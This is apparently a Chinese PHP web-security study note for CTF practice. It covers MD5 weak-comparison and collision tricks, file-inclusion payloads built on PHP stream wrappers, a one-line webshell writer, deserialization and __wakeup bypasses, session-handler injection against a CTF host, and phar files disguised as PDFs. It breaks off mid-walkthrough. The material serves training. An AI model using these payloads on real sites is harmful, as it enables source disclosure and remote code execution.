PHP-Study

如果要对docker中的php的配置文件进行修改,在/usr/local/etc/php/conf.d/中新建一个xxx.ini文件,写入修改项并重启该容器即可

如修改session的保存路径:session.save_path="/tmp"

md5弱类型比较和强碰撞

基本知识

php中有两种比较的符号=====

==在进行比较的时候,会把两端变量类型转换成相同的,再进行比较(一个字符串与一个数字相比较时,字符串会转换成数值)

===在进行比较的时候,会先判断两种字符串的类型是否相等,再进行比较

1
2
3
4
5
6
7
8
9
<?php
$a=1;
$b="a1";
$c="1a";
var_dump($a==$b);
var_dump($a==$c);
var_dump($a===$b);
var_dump($a===$c);
?>
1
2
3
4
bool(false)
bool(true)
bool(false)
bool(false)

0e开头且都是数字的字符串,弱类型比较都等于0

1
2
3
4
5
6
7
8
<?php
var_dump(0=='1a');
var_dump(0=='a1');
var_dump(0==0e1);
var_dump(0=="0e1");
var_dump(0===0e1);
var_dump(0==="0e1");
?>
1
2
3
4
5
6
bool(false)
bool(true)
bool(true)
bool(true)
bool(false)
bool(false)

字符串转数值时,调用了intval()取整函数,而这个函数在转换字符串的时候即使碰到不能转换的字符串的时候它也不会报错,而是返回0

1
2
3
4
5
6
<?php
var_dump(intval(4));
var_dump(intval("10asd"));
var_dump(intval("asd10"));
var_dump(intval(1.23));
?>
1
2
3
4
int(4)
int(10)
int(0)
int(1)

经典md5弱类型比较

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
if(isset($_POST['a']) and isset($_POST['b'])){
if($_POST['a']!=$_POST['b']){
if(md5($_POST['a'])==md5($_POST['b'])){
var_dump($_POST['a']);
var_dump($_POST['b']);
var_dump(md5($_POST['a']));
var_dump(md5($_POST['b']));
echo 'flag';
}
}
}
?>
  1. md5不能加密数组,在加密数组的时候会返回NULL,因此POST传参a[]=1&b[]=2
1
2
3
4
5
6
7
8
Warning: md5() expects parameter 1 to be string, array given in /var/www/html/index.php on line 4

Warning: md5() expects parameter 1 to be string, array given in /var/www/html/index.php on line 4
array(1) { [0]=> string(1) "1" } array(1) { [0]=> string(1) "2" }
Warning: md5() expects parameter 1 to be string, array given in /var/www/html/index.php on line 7
NULL
Warning: md5() expects parameter 1 to be string, array given in /var/www/html/index.php on line 8
NULL flag
  1. md5进行的是弱类型比较,如果两个md5之后的结果均为0e开头的字符串则会被判断为相等
1
2
3
4
5
6
7
8
import hashlib
import re

for i in range(1000000000):
a = hashlib.md5(str(i).encode("utf-8")).hexdigest()
if re.match('^0e\d+$', a) is not None:
print(i, a)

1
2
240610708 0e462097431906509019562988736854
314282422 0e990995504821699494520356953734

POST传参a=240610708&b=314282422

1
string(9) "240610708" string(9) "314282422" string(32) "0e462097431906509019562988736854" string(32) "0e990995504821699494520356953734" flag

md5强类型比较

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
if(isset($_POST['a']) and isset($_POST['b'])){
if($_POST['a']!=$_POST['b']){
if(md5($_POST['a'])===md5($_POST['b'])){
var_dump($_POST['a']);
var_dump($_POST['b']);
var_dump(md5($_POST['a']));
var_dump(md5($_POST['b']));
echo 'flag';
}
}
}
?>
  1. 仍然使用数组进行传参

  2. 传递两个md5相同的文件,使用Burpsuite的Paste From File功能进行上传

1
2
3
4
4D C9 68 FF 0E E3 5C 20 95 72 D4 77 7B 72 15 87
D3 6F A7 B2 1B DC 56 B7 4A 3D C0 78 3E 7B 95 18
AF BF A2 00 A8 28 4B F3 6E 8E 4B 55 B3 5F 42 75
93 D8 49 67 6D A0 D1 55 5D 83 60 FB 5F 07 FE A2

%4D%C9%68%FF%0E%E3%5C%20%95%72%D4%77%7B%72%15%87%D3%6F%A7%B2%1B%DC%56%B7%4A%3D%C0%78%3E%7B%95%18%AF%BF%A2%00%A8%28%4B%F3%6E%8E%4B%55%B3%5F%42%75%93%D8%49%67%6D%A0%D1%55%5D%83%60%FB%5F%07%FE%A2

1
2
3
4
4D C9 68 FF 0E E3 5C 20 95 72 D4 77 7B 72 15 87
D3 6F A7 B2 1B DC 56 B7 4A 3D C0 78 3E 7B 95 18
AF BF A2 02 A8 28 4B F3 6E 8E 4B 55 B3 5F 42 75
93 D8 49 67 6D A0 D1 D5 5D 83 60 FB 5F 07 FE A2

%4D%C9%68%FF%0E%E3%5C%20%95%72%D4%77%7B%72%15%87%D3%6F%A7%B2%1B%DC%56%B7%4A%3D%C0%78%3E%7B%95%18%AF%BF%A2%02%A8%28%4B%F3%6E%8E%4B%55%B3%5F%42%75%93%D8%49%67%6D%A0%D1%D5%5D%83%60%FB%5F%07%FE%A2

1
2
3
4
5
6
 ~/桌面 md5sum md5* 
008ee33a9d58b51cfeb425b0959121c9 md5a
008ee33a9d58b51cfeb425b0959121c9 md5b
~/桌面 sha1sum md5*
c6b384c4968b28812b676b49d40c09f8af4ed4cc md5a
c728d8d93091e9c7b87b43d9e33829379231d7ca md5b
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST / HTTP/1.1
Host: localhost
Content-Length: 133
Cache-Control: max-age=0
sec-ch-ua: ";Not A Brand";v="99", "Chromium";v="88"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

a=MÉhÿã\ •rÔw{r‡Óo§²ÜV·J=Àx>{•¯¿¢¨(KónŽKU³_Bu“ØIgm ÑU]ƒ`û_þ¢&b=MÉhÿã\ •rÔw{r‡Óo§²ÜV·J=Àx>{•¯¿¢¨(KónŽKU³_Bu“ØIgm ÑÕ]ƒ`û_þ¢
1
2
3
4
5
6
7
8
9
10
11
12
13
14
HTTP/1.1 200 OK
Date: Sun, 07 Mar 2021 07:46:22 GMT
Server: Apache/2.4.38 (Debian)
X-Powered-By: PHP/7.4.0
Vary: Accept-Encoding
Content-Length: 252
Connection: close
Content-Type: text/html; charset=UTF-8

string(64) "MÉhÿã\ •rÔw{r‡Óo§²ÜV·J=Àx>{•¯¿¢¨(KónŽKU³_Bu“ØIgm ÑU]ƒ`û_þ¢"
string(64) "MÉhÿã\ •rÔw{r‡Óo§²ÜV·J=Àx>{•¯¿¢¨(KónŽKU³_Bu“ØIgm ÑÕ]ƒ`û_þ¢"
string(32) "008ee33a9d58b51cfeb425b0959121c9"
string(32) "008ee33a9d58b51cfeb425b0959121c9"
flag

例题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php 
error_reporting(0);
highlight_file(__file__);
$string_1 = $_GET['str1'];
$string_2 = $_GET['str2'];


if($_GET['param1']!==$_GET['param2']&&md5($_GET['param1'])===md5($_GET['param2'])){
if(is_numeric($string_1)){ //用于检测变量是否为数字或数字字符串
$md5_1 = md5($string_1);
$md5_2 = md5($string_2);
if($md5_1 != $md5_2){
$a = strtr($md5_1, 'cxhp', '0123'); //其中一个md5之后的结果为ce开头
$b = strtr($md5_2, 'cxhp', '0123');
if($a == $b){
echo "flag";
}
}
else {
die("md5 is wrong");
}
}
else {
die('str1 not number');
}
}

?>
1
2
3
4
5
6
7
import hashlib
import re

for i in range(1000000000):
a = hashlib.md5(str(i).encode("utf-8")).hexdigest()
if re.match('^ce\d+$', a) is not None:
print(i, a)

586180707 ce180897218118078483942647122685

param1[]=1&param2[]=2&str1=586180707&str2=240610708


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
error_reporting(0);
highlight_file(__file__);
function random() {
$a = rand(133,600)*78;
$b = rand(18,195);
return $a+$b;
}
$r = random();
if((string)$_GET['a']==(string)md5($_GET['b'])){
if($_GET['a'].$r == md5($_GET['b'])) {
print "Yes,you are right";
}
else {
print "you are wrong";
}
}

?>

a=0e1&b=240610708

PHP伪协议

PHP中支持的伪协议

1
2
3
4
5
6
7
8
9
10
11
12
file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流

file://协议

PHP.ini:

file:// 协议在双off的情况下也可以正常使用

allow_url_fopen :
off/on

allow_url_include:
off/on

file://用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响

1
2
3
4
5
6
<?php
if(isset($_GET['page']))
{
include $_GET['page'];
}
?>

file:// [文件的绝对路径和文件名]

example:http://localhost:37917/?page=file:///var/www/html/phpinfo.php

php://协议

php://filter在双off的情况下也可以正常使用

php://input,php://stdin,php://memoryphp://temp,不需要开启allow_url_fopen,需要开启allow_url_include

php://访问各个输入/输出流,在CTF中经常使用的是php://filterphp://input,php://filter用于读取源码,php://input用于执行php代码

php://filter

php://filter是一种元封装器,设计用于数据流打开时的筛选过滤应用

这对于一体式的文件函数非常有用,类似readfile(),file()file_get_contents(),在数据流内容读取之前没有机会应用其他过滤器

1
2
3
4
resource=<要过滤的数据流>     这个参数是必须的,它指定了你要筛选过滤的数据流
read=<读链的筛选列表> 该参数可选,可以设定一个或多个过滤器名称,以管道符(|)分隔
write=<写链的筛选列表> 该参数可选,可以设定一个或多个过滤器名称,以管道符(|)分隔
<;两个链的筛选列表> 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链

可以运用多种过滤器(字符串/转换/压缩/加密)

例如平时我们用来任意文件读取的payloadphp://filter/read=convert.base64-encode/resource=upload.php

这里读的过滤器为convert.base64-encode,就和字面上的意思一样,把输入流base64-encode,resource=upload.php,代表读取upload.php的内容

这样就可以以base64编码的方式读取文件源代码

过滤器

1
2
3
4
5
<?php  
$filename=$_GET["a"];
$data="ASDF";
file_put_contents($filename, $data);
?>

http://localhost:32989/?a=php://filter/write=string.tolower/resource=test.txt

test.txt:asdf


1
2
3
4
<?php  
$filename=$_GET["a"];
echo file_get_contents($filename);
?>

file_get_contents()$filename参数不仅仅为文件路径,还可以是一个URL(伪协议)

http://localhost:32989/?a=php://filter/read=convert.base64-encode/resource=index.php

index.php的内容以base64编码的方式显示出来


1
2
3
4
<?php  
$filename=$_GET['a'];
include("$filename");
?>

http://localhost:32989/?a=php://filter/read=convert.base64-encode/resource=index.php

http://localhost:32989/?a=php://filter/convert.base64-encode/resource=index.php

同样可以把test.php的内容以base64编码的方式显示出来

双引号包含的变量$filename会被当作正常变量执行,而单引号包含的变量则会被当作字符串执行

1
2
3
4
5
6
<?php  
$aa=1;
echo "$aa";
echo "<br>";
echo '$aa';
?>
1
2
1
$aa

php://input

php://input是个可以访问请求的原始数据的只读流,可以读取到post没有解析的原始数据,将post请求中的数据作为PHP代码执行,因为它不依赖于特定的php.ini指令

enctype=”multipart/form-data”的时候php://input是无效的

1
2
3
<?php  
echo file_get_contents($_GET["a"]);
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /?a=php://input HTTP/1.1
Host: localhost:32989
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 4

asdf
1
2
3
4
5
6
7
8
9
HTTP/1.1 200 OK
Date: Tue, 19 Jan 2021 13:53:35 GMT
Server: Apache/2.4.38 (Debian)
X-Powered-By: PHP/7.3.24
Content-Length: 4
Connection: close
Content-Type: text/html; charset=UTF-8

asdf

1
2
3
<?php
include($_GET['a']);
?>

allow_url_include=on的时候,就可以造成任意代码执行

当该目录具有可写权限时,可以上传webshell

<?php fputs(fopen('.1.php','w'),'<?php @eval($_POST["pass"]); ?>'); ?>

php://output

是一个只写的数据流,允许你以print和echo一样的方式写入到输出缓冲区(即直接在网页中显示,而不是写入到文件)

1
2
3
4
<?php  
$code=$_GET["a"];
file_put_contents($code,"test");
?>

http://localhost:32989/?a=php://output

data://

data:资源类型;编码,内容

数据流封装器

allow_url_include打开的时候,任意文件包含就会成为任意命令执行,data://协议必须在双on时才能正常使用

1
2
3
<?php
include($_GET["a"]);
?>

http://localhost:32989/?a=data://text/plain,%3C?php%20phpinfo();%20?%3E

zip://,bzip2://,zlib://协议

zip://,bzip2://,zlib://协议在双off的情况下也可以正常使用

3个封装协议,都是直接打开压缩文件

compress.zlib://file.gz - 处理的是 ‘.gz’ 后缀的压缩包

compress.bzip2://file.bz2 - 处理的是 ‘.bz2’ 后缀的压缩包

zip://archive.zip#dir/file.txt - 处理的是 ‘.zip’ 后缀的压缩包里的文件

zip://,bzip2://,zlib://均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名

zip://协议

使用方法:

zip://archive.zip#dir/file.txt

zip://[压缩文件绝对路径]#[压缩文件内的子文件名]

要用绝对路径+url编码#(%23)

测试:
新建一个名为zip.txt的文件,内容为<?php phpinfo();?>,然后压缩为名为test.zip的zip文件

如果可以上传zip文件则上传zip文件,若不能则重命名为test.jpg后上传

其他几种压缩格式也可以这样操作

更名为jpg

payload:http://127.0.0.1/xxx.php?a=zip://C:\Users\liuxianglai\Desktop\test.jpg%23zip.txt

bzip2://协议

使用方法:

compress.bzip2://file.bz2

相对路径也可以

测试

用7-zip生成一个bz2压缩文件

pyload:http://127.0.0.1/xxx.php?a=compress.bzip2://C:/Users/liuxianglai/Desktop/test.bz2

或者文件改为jpg后缀

http://127.0.0.1/xxx.php?a=compress.bzip2://C:/Users/liuxianglai/Desktop/test.jpg

zlib://协议

同上

phar://协议

phar://协议与zip://类似,同样可以访问zip格式压缩包内容

1
2
3
<?php
include($_GET["a"]);
?>

http://localhost:32989/?a=phar:///var/www/html/phpinfo.zip/phpinfo.php

http://localhost:32989/?a=phar://phpinfo.zip/phpinfo.php

PHP反序列化

序列化与反序列化

序列化public,private,protected变量产生不同结果

1
2
3
4
5
6
7
8
9
10
11
<?php
class test{
private $test1="hello";
public $test2="hello";
protected $test3="hello";
}
$test = new test();
echo serialize($test);
echo "\n";
echo urlencode(serialize($test));
?>

O:4:"test":3:{s:11:"testtest1";s:5:"hello";s:5:"test2";s:5:"hello";s:8:"*test3";s:5:"hello";}

O%3A4%3A%22test%22%3A3%3A%7Bs%3A11%3A%22%00test%00test1%22%3Bs%3A5%3A%22hello%22%3Bs%3A5%3A%22test2%22%3Bs%3A5%3A%22hello%22%3Bs%3A8%3A%22%00%2A%00test3%22%3Bs%3A5%3A%22hello%22%3B%7D

private变量s:11:"testtest1"的实际表示为s:11:"\x00test\x00test1"

protected变量s:8:"*test3"的实际表示为s:8:"\x00*\x00test3"

序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字

1
2
3
4
5
6
a:array | b:boolean  
d:double | i:integer
o:common object | r:reference
s:string | C:custom object
O:class | N:null
R:pointer reference | U:unicode string
1
2
3
4
5
6
<?php
$str='O%3A4%3A%22test%22%3A3%3A%7Bs%3A11%3A%22%00test%00test1%22%3Bs%3A5%3A%22hello%22%3Bs%3A5%3A%22test2%22%3Bs%3A5%3A%22hello%22%3Bs%3A8%3A%22%00%2A%00test3%22%3Bs%3A5%3A%22hello%22%3B%7D';
$data=urldecode($str);
$obj=unserialize($data);
var_dump($obj);
?>

O:4:"test":3:{s:11:"testtest1";s:5:"hello";s:5:"test2";s:5:"hello";s:8:"*test3";s:5:"hello";}

在反序列化时用大写的S替换小写的s即可用16进制表示

魔术方法

1
2
3
4
5
6
7
8
9
10
11
12
__construct(),类的构造函数
__destruct(),类的析构函数
__call(),在对象上下文中调用不可访问的方法时调用
__callStatic(),在静态上下文中调用不可访问的方法时调用
__get(),用于从不可访问的属性读取数据,有时可用于构造POP链
__set(),用于将数据写入不可访问的属性
__isset(),当对不可访问属性调用isset()或empty()时调用
__unset(),当对不可访问属性调用unset()时被调用
__sleep(),执行serialize()时,先会调用这个函数
__wakeup(),执行unserialize()时,先会调用这个函数
__toString(),类被当成字符串时的回应方法,有时可用于构造POP链
__invoke(),当脚本尝试将对象调用为函数时触发

__sleep()与__wakeup()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php 
class Demo{
public function __construct($a,$b,$c){
$this->a=$a;
$this->b=$b;
$this->c=$c;
$this->str=sprintf("a %s,b %s,c %s",$this->a,$this->b,$this->c);
}
public function showstr(){
echo $this->str.'<br>';
}
public function __sleep(){//serialize前调用
echo __METHOD__.'<br>';
return array('a','c');//只返回了$this->a和$this->c,返回需要被序列化存储的成员属性,删减不必要
}
public function __wakeup(){//unserialize前调用
echo __METHOD__.'<br>';
$this->str=sprintf("a %s,b %s,c %s",$this->a,$this->b,$this->c);
}
}

highlight_file(__FILE__);
$test=new Demo('asdf','qwer','1234');
$test->showstr();
$s_test=serialize($test);
echo $s_test.'<br>';
$u_test=unserialize($s_test);
$u_test->showstr();
?>
1
2
3
4
5
a asdf,b qwer,c 1234
Demo::__sleep
O:4:"Demo":2:{s:1:"a";s:4:"asdf";s:1:"c";s:4:"1234";}
Demo::__wakeup
a asdf,b ,c 1234

__toString()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php 
class Demo{
public function __construct($a,$b,$c){
$this->a=$a;
$this->b=$b;
$this->c=$c;
$this->str=sprintf("a %s,b %s,c %s",$this->a,$this->b,$this->c);
}
public function __toString(){
return $this->str;
}
}

highlight_file(__FILE__);
$test=new Demo('asdf','qwer','1234');
echo $test;
?>
1
a asdf,b qwer,c 1234

绕过__wakeup()

当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
 <?php 
class SoFun{
protected $file='index.php';
function __destruct(){
if(!empty($this->file)) {
if(strchr($this-> file,"\\")===false&&strchr($this->file, '/')===false){
show_source(dirname (__FILE__).'/'.$this ->file);
}
else{
die('Wrong filename.');
}
}
}
function __wakeup(){
$this-> file='index.php';
}
public function __toString(){
return '';
}
}
if(!isset($_GET['file'])){
show_source('index.php');
}
else{
$file=base64_decode($_GET['file']);
unserialize($file);
}
?>

O:5:"SoFun":1:{s:7:"*file";s:9:"index.php";}

O:5:"SoFun":2:{s:7:"*file";s:8:"flag.php";}

payload?file=Tzo1OiJTb0Z1biI6Mjp7Uzo3OiIAKgBmaWxlIjtzOjg6ImZsYWcucGhwIjt9

session反序列化漏洞

1
2
3
4
5
6
<?php
error_reporting(0);
ini_set('session.serialize_handler','php');//这里换不同的存储引擎
session_start();
$_SESSION['username']="asdf";
?>

username|s:4:"asdf";(键名+竖线+经过serialize()函数序列处理的值)

1
2
3
4
5
6
<?php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');//这里换不同的存储引擎
session_start();
$_SESSION['username']="asdf";
?>

a:1:{s:8:"username";s:4:"asdf";}(经过serialize()函数序列化处理的数组)

1
2
3
4
5
6
<?php
error_reporting(0);
ini_set('session.serialize_handler','php_binary');//这里换不同的存储引擎
session_start();
$_SESSION['username']="asdf";
?>

usernames:4:"asdf";(键名的长度对应的ASCII字符(BS的ASCII为8)+键名+经过serialize()函数序列化处理的值)

当序列化的引擎和反序列化的引擎不一致时,就可以利用引擎之间的差异产生序列化注入漏洞

https://www.php.net/session_start/

当会话自动开始或者通过session_start()手动开始的时候,PHP 内部会调用会话管理器的open和read回调函数。会话管理器可能是PHP默认的,也可能是扩展提供的(SQLite或者Memcached扩展),也可能是通过session_set_save_handler()设定的用户自定义会话管理器。通过read回调函数返回的现有会话数据(使用特殊的序列化格式存储),PHP 会自动反序列化数据并且填充$_SESSION超级全局变量

1
2
3
4
5
6
7
8
<?php
//1.php
error_reporting(0);
ini_set('session.serialize_handler','php');//使用php_serialize引擎存储
session_start();
$_SESSION['username']=$_GET['user'];
var_dump($_SESSION);
?>
1
2
3
4
5
6
7
8
9
10
11
12
<?php
//2.php
error_reporting(0);
ini_set('session.serialize_handler','php');//使用php引擎存储
session_start();
class user{
var $name;
function __wakeup(){
echo $this->name;
}
}
?>

对于php_serialize引擎来说|是一个普通字符,但对于php引擎来说|是键名与序列化值的分隔符,从而在解析的时候造成了歧义,导致其在解析Session文件时直接对|后的值进行反序列化处理

1.php传入?user=|O:4:"user":1:{s:4:"name";s:4:"asdf";}此时的sess文件为a:1:{s:8:"username";s:38:"|O:4:"user":1:{s:4:"name";s:4:"asdf";}";}

调用2.php,php引擎将|作为分隔符处理,前半部分a:1:{s:8:"username";s:38:"php引擎作为Session的键值处理,后半部分O:4:"user":1:{s:4:"name";s:4:"asdf";}";}被Session自动反序列化,从而调用2.php中的user类


可能存在无法直接对Session赋值的情况

https://www.php.net/manual/zh/session.upload-progress.php

当session.upload_progress.enabled的INI选项开启时,PHP能够在每一个文件上传时监测上传进度。这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态

当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,上传进度可以在$_SESSION中获得。当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据,索引是session.upload_progress.prefix与session.upload_progress.name连接在一起的值。

http://web.jarvisoj.com:32784/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}

function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>
Directive Local Value Master Value
session.serialize_handler php php_serialize
session.upload_progress.cleanup Off Off
session.upload_progress.enabled On On
session.upload_progress.freq 1% 1%
session.upload_progress.min_freq 1 1
session.upload_progress.name PHP_SESSION_UPLOAD_PROGRESS PHP_SESSION_UPLOAD_PROGRESS
session.upload_progress.prefix upload_progress_ upload_progress_

引擎存在差异,存在反序列化漏洞,session.upload_progress.enabled==On,可以进行文件上传

1
2
3
4
5
6
7
8
9
10
<!DOCTYPE html>
<html>
<body>
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value='|O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}'/>
<input type="file" name="file"/>
<input type="submit"/>
</form>
</body>
</html>

随便提交一个文件得到Array ( [0] => . [1] => .. [2] => Here_1s_7he_fl4g_buT_You_Cannot_see.php [3] => index.php [4] => phpinfo.php )

已知DOCUMENT_ROOT/opt/lampp/htdocs,通过file_get_contents对flag进行读取

1
2
3
4
5
6
7
8
9
10
<!DOCTYPE html>
<html>
<body>
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value='|O:5:"OowoO":1:{s:4:"mdzz";s:88:"print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));";}'/>
<input type="file" name="file"/>
<input type="submit"/>
</form>
</body>
</html>

phar反序列化漏洞

1
2
3
4
5
6
7
8
9
10
11
<?php
class Demo{}
$phar=new Phar("asdf.phar");//后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");//设置存根stub
$test=new Demo();
$test->name='asdfgh';
$phar->setMetadata($test);//将自定义的meta-data序列化后存入manifest
$phar->addFromString("test.txt","asdfghjkl");//phar本质上是对文件的压缩所以要添加要压缩的文件
$phar->stopBuffering();
?>

生成phar文件要先将ini中的phar.readonly设置为Off

  1. 文件标识,必须以__HALT_COMPILER();?>结尾,前面的内容没有限制,因此可以对文件头进行伪造

  2. meta-data被序列化存储,通过phar://协议解析时会将其进行反序列化

受影响的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
+--------------------+----------------+---------------+--------------------+-------------------+------------------------+
| fileatime | filectime | file_exists | file_get_contents | touch | get_meta_tags |
+--------------------+----------------+---------------+--------------------+-------------------+------------------------+
| file_put_contents | file | filegroup | fopen | hash_file | get_headers |
+--------------------+----------------+---------------+--------------------+-------------------+------------------------+
| fileinode | filemtime | fileowner | fileperms | md5_file | getimagesize |
+--------------------+----------------+---------------+--------------------+-------------------+------------------------+
| is_dir | is_executable | is_file | is_link | sha1_file | getimagesizefromstring |
+--------------------+----------------+---------------+--------------------+-------------------+------------------------+
| is_readable | is_writable | is_writeable | parse_ini_file | hash_update_file | imageloadfont |
+--------------------+----------------+---------------+--------------------+-------------------+------------------------+
| copy | unlink | stat | readfile | hash_hmac_file | exif_imagetype |
+--------------------+----------------+---------------+--------------------+-------------------+------------------------+
1
2
3
4
5
6
7
8
9
<?php
class Demo{
function __destruct(){
echo $this->name."\n";
}
}
$filename="phar://asdf.phar/test.txt";
file_exists($filename);#执行反序列化,输出asdfgh
?>

对文件头进行伪造,可以将phar文件伪装成pdf或gif等文件

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class Demo{}
@unlink("asdf.phar");
$phar=new Phar("asdf.phar");//后缀名必须为phar
$phar->startBuffering();
$phar->setStub("%PDF-1.6<?php __HALT_COMPILER(); ?>");//设置pdf的文件头
$test=new Demo();
$test->name='asdfgh';
$phar->setMetadata($test);
$phar->addFromString("test.txt","asdfghjkl");
$phar->stopBuffering();
?>
1
2
 ~/桌面 file asdf.phar
asdf.phar: PDF document, version 1.6

在生成phar文件后,可以对其文件后缀进行修改,不影响使用

当发生禁止phar开头时,可以用以下协议代替

1
2
3
compress.zlib://phar://phar.phar/test.txt
compress.bzip2://phar://phar.phar/test.txt
php://filter/read=convert.base64-encode/resource=phar://phar.phar/test.txt
1
2
3
4
5
6
7
8
9
<?php
class Demo{
function __destruct(){
echo "<br>".$this->name."<br>";
}
}
$filename="php://filter/read=convert.base64-encode/resource=phar://asdf.phar/test.txt";
file_get_contents($filename);#执行反序列化,输出asdfgh
?>

例题:https://github.com/CTFTraining/swpuctf_2018_simplephp

首先注意到URLfile.php?file=可能存在任意文件读取

file.php?file=file.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php 
header("content-type:text/html;charset=utf-8");
include 'function.php';
include 'class.php';
ini_set('open_basedir','/var/www/html/');
$file = $_GET["file"] ? $_GET['file'] : "";
if(empty($file)) {
echo "<h2>There is no file to show!<h2/>";
}
$show = new Show();
if(file_exists($file)) {
$show->source = $file;
$show->_show();
} else if (!empty($file)){
die('file doesn\'t exists.');
}
?>

file.php?file=function.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php 
//show_source(__FILE__);
include "base.php";
header("Content-type: text/html;charset=utf-8");
error_reporting(0);
function upload_file_do() {
global $_FILES;
$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";
//mkdir("upload",0777);
if(file_exists("upload/" . $filename)) {
unlink($filename);
}
move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename);
echo '<script type="text/javascript">alert("上传成功!");</script>';
}
function upload_file() {
global $_FILES;
if(upload_file_check()) {
upload_file_do();
}
}
function upload_file_check() {
global $_FILES;
$allowed_types = array("gif","jpeg","jpg","png");
$temp = explode(".",$_FILES["file"]["name"]);
$extension = end($temp);
if(empty($extension)) {
//echo "<h4>请选择上传的文件:" . "<h4/>";
}
else{
if(in_array($extension,$allowed_types)) {
return true;
}
else {
echo '<script type="text/javascript">alert("Invalid file!");</script>';
return false;
}
}
}
?>

file.php?file=base.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php 
session_start();
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>web3</title>
<link rel="stylesheet" href="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/css/bootstrap.min.css">
<script src="https://cdn.staticfile.org/jquery/2.1.1/jquery.min.js"></script>
<script src="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/js/bootstrap.min.js"></script>
</head>
<body>
<nav class="navbar navbar-default" role="navigation">
<div class="container-fluid">
<div class="navbar-header">
<a class="navbar-brand" href="index.php">首页</a>
</div>
<ul class="nav navbar-nav navbra-toggle">
<li class="active"><a href="file.php?file=">查看文件</a></li>
<li><a href="upload_file.php">上传文件</a></li>
</ul>
<ul class="nav navbar-nav navbar-right">
<li><a href="index.php"><span class="glyphicon glyphicon-user"></span><?php echo $_SERVER['REMOTE_ADDR'];?></a></li>
</ul>
</div>
</nav>
</body>
</html>
<!--flag is in f1ag.php-->

file.php?file=class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
